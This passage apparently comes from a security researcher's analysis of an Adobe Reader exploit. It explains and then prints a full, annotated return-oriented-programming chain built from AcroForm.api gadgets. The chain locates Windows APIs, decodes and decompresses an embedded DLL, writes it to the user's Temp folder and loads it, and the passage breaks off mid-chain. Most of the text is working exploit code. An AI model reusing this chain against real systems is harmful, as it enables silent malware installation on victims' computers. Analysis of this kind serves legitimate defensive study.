r+=getUnescape(moduleLoadAddr+0x5f1214); // 65cf2214={kernel32!LoadLibraryA (769d2864)} ; Address to kernel32!LoadLibraryA
r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x816e96); // ptr to "MSVCR90.dll" 
r+=getUnescape(moduleLoadAddr+0x508c23); // xchg    eax,ecx/ret 



This is a pretty simple set of instructions, the author loads the address in the import table for LoadLibraryA() into eax then calls it. When LoadLibraryA() looks on the stack for its parameters, it'll see the pointer to the .rdata segment of AcroForm.api which contains to the string "MSVCR90.dll". The return value is a handle to the module set in eax and then immediately copied to ecx.

Next the author has to save the handle at the specific offset on the stack where the next call to GetProcAddress will look for it. This should look familiar, its essentially the same sequence of instructions that the author used to set up the stack for the wcsstr() call (that hasn't happened yet).

r+=getUnescape(moduleLoadAddr+0x5ec230); // pop edi/ret
r+=getUnescape(moduleLoadAddr+0xcccc022c);
r+=getUnescape(moduleLoadAddr+0x4225cc); // movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); // ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); // add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); // push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret



A call to GetProcAddress() follows, lets see how to call it:

FARPROC WINAPI GetProcAddress(
  _In_  HMODULE hModule,
  _In_  LPCSTR lpProcName
);



In a similar fashion to the LoadLibraryA() call, the import address for GetProcAddress is loaded into eax and called. The 0x41414141 was overwritten in the previous set of instructions and now contains the handle that was returned from the LoadLibraryA() call, which is used for the hModule parameter. The lpProcName parameter was defined in the setup part of the ROP Chain where the author copied the string to the data segment of AcroForm.api. The address to the precise area of the data segment which contains the "wcsstr" string was already populated in the JavaScript.

r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f11d4); // Address to kernel32!GetProcAddressStub 
r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret
r+=getUnescape(0x41414141); // Placeholder for ptr to LoadLibrary Handle
r+=getUnescape(moduleLoadAddr+0x818047); // data_segment + 0x47 ("wcsstr")



GetProcAddress will return the address of wcsstr() in eax. The wcsstr() function parameters were already set up earlier on, so all that's left is to call eax. The last line adjusts eax so that it points to the start of the payload, and not at the "Module" delimiter.

r+=getUnescape(moduleLoadAddr+0x154a); // jmp     eax {MSVCR90!wcsstr (7189752c)}
r+=getUnescape(moduleLoadAddr+0x5ec1a0); // pop ecx/pop ecx/ret
r+=getUnescape(0x41414141); // Ptr to stack populated during setup
r+=getUnescape(moduleLoadAddr+0x60a990); // Ptr to unicode "Module" in .data
r+=getUnescape(moduleLoadAddr+0x2df56d); // add eax, 0ch/ret



Prepping and Writing the DLL

Now the ROP Chain has a pointer to the compressed base64 encoded DLL. The rest of the chain decodes (CryptStringToBinaryA), decompresses (RtlDecompressBuffer) and writes the DLL to "C:\Users\user\AppData\Local\Temp\D.T" using the same high level gadgets just described in this section. It uses GetTempPathA() to determine the user's temporary file store, which is where the DLL is saved.

Loading the DLL

With the D.T DLL written to disk, loading is just a matter of calling LoadLibraryA(). The DLL automatically starts it own thread and the remainder of the ROP Chain is just a call to Sleep().

r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); // 65cf2214={kernel32!LoadLibraryA (769d2864)}
r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x818101); // Loads D.T as a library
r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret 
r+=getUnescape(moduleLoadAddr+0x5f10c0); // ds:0023:65cf20c0={kernel32!SleepStub (769cef66)}
r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret  
r+=getUnescape(moduleLoadAddr+0x17); // ret
r+=getUnescape(0x1010101);



Full ROP Chain

Here's the ROP Chain in its entirety, I manually deobfuscated it and added the assembly annotations.

r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret

r+=getUnescape(moduleLoadAddr+0x41bc90); //push esp/pop esi/ret 

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818001); //data_segment + 0x1
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x54746547);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret ;
r+=getUnescape(moduleLoadAddr+0x818005); //scratch_space + 0x5
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x50706d65);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818009); //scratch_space + 0x9
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41687461);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81800d); //scratch_space + 0xd
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41414100);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81800e); //scratch_space + 0xe
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x69727766);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818012); //scratch_space + 0x12
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41006574);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818015); //scratch_space + 0x15
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41006277);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818018); //scratch_space + 0x18
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x70797243);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81801c); //scratch_space + 0x1c
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x72745374);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818020); //scratch_space + 0x20
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x54676e69);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818024); //scratch_space + 0x24
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x6e69426f);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818028); //scratch_space + 0x28
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41797261);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81802c); //scratch_space + 0x2c
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41414100);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81802d); //scratch_space + 0x2d
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x6c64746e);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818031); //scratch_space + 0x31
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x4141006c);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818033); //scratch_space + 0x33
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x446c7452);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818037); //scratch_space + 0x37
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x6d6f6365);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81803b); //scratch_space + 0x3b
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x73657270);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81803f); //scratch_space + 0x3f
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x66754273);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818043); //scratch_space + 0x43
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x726566);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818047); //scratch_space + 0x47
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x73736377);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81804b); //scratch_space + 0x4b
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41007274);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret


r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0240);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x538c1d); //xchg    eax,edi/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc023c);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} 
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x816e96); //ptr to "MSVCR90.dll"
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret 

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc022c);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(0x41414141); // Placeholder for ptr to LoadLibrary Handle

r+=getUnescape(moduleLoadAddr+0x818047); //scratch_space + 0x47 ("wcsstr")
r+=getUnescape(moduleLoadAddr+0x154a); //jmp     eax {MSVCR90!wcsstr (7189752c)}
r+=getUnescape(moduleLoadAddr+0x5ec1a0); //pop ecx/pop ecx/ret
r+=getUnescape(0x41414141); // Placeholder for Ptr to "Module" (unicode)
r+=getUnescape(moduleLoadAddr+0x60a990] // "Module" (unicode)
r+=getUnescape(moduleLoadAddr+0x2df56d); //add eax, 0ch/ret ; Points to after "Module"

r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 0x5e
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret ; Copies the start of that string above to the scratchspace
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81804e); //scratch_space + 0x4e
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x1010101);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret 

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} 
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x817030); //pointer to "Crypt32.dll"
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc02ac);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret; ; Loads the address of "Crypt32.dll" to 4141 below

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(0x41414141); // Placeholder for the address of "Crypt32.dll"

r+=getUnescape(moduleLoadAddr+0x818018); //scratch_space + 0x18 // Place holder in scratch space for handle of crypt32 from loadlibrary
r+=getUnescape(moduleLoadAddr+0x57c7ce); //xchg    eax,ebp/ret 

r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 0x5e 
r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc033c);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret ;

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0340);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret 
r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0344);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
r+=getUnescape(moduleLoadAddr+0x57c7ce); //xchg    eax,ebp/ret ; sets ebp to attacker controlled data

r+=getUnescape(moduleLoadAddr+0x154a); //jmp     eax {CRYPT32!CryptStringToBinaryA (756e1360)}
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(0x41414141); // Placeholder for ptr to base64 above
r+=getUnescape(0x42424242); // Placeholder for zeros above
r+=getUnescape(0x43434343); // place holder for 1 above
r+=getUnescape(moduleLoadAddr+0x818066); //scratch_space + 0x66
r+=getUnescape(moduleLoadAddr+0x81804e); //scratch_space + 0x4e
r+=getUnescape(moduleLoadAddr+0x818056); //scratch_space + 0x56
r+=getUnescape(moduleLoadAddr+0x81805a); //scratch_space + 0x5a

r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret
r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret
r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0428);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret 
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret ; ecx = 2

r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x81804e); //; scratch_space + 0x4e
r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0438);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret 
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 5e
r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc042c);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x81802d); //ptr to string (ntdll)
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0418);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(0x41414141); // place holder for above
r+=getUnescape(moduleLoadAddr+0x818033); //prt to str "RtlDecompressBuffer"

r+=getUnescape(moduleLoadAddr+0x154a); //jmp     eax {ntdll!RtlDecompressBuffer (77585001)}
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(0x41414141); // Place Holder for above - which is 2 (LZNT)
r+=getUnescape(0x44444444); // Place Holder for above - ptr to b64 blob
r+=getUnescape(0x1010101); // Place Holder for above  - 01010101
r+=getUnescape(moduleLoadAddr+0x818066); //scratch_space + 66 - ptr to decoded blob
r+=getUnescape(0x43434343); // Place holder for above 00004a51 
r+=getUnescape(moduleLoadAddr+0x818052); //scratch_space + 52 ptr to "756f7365"

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} 
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x816e96); //ptr to "MSVCR90.dll"
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc047c);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(0x41414141); // handle
r+=getUnescape(moduleLoadAddr+0x81800e); //ptr to "fwrite"
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc05ec);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret; 
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret


r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x60a4fc); //ptr to Kernel32.dll
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc04e0);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
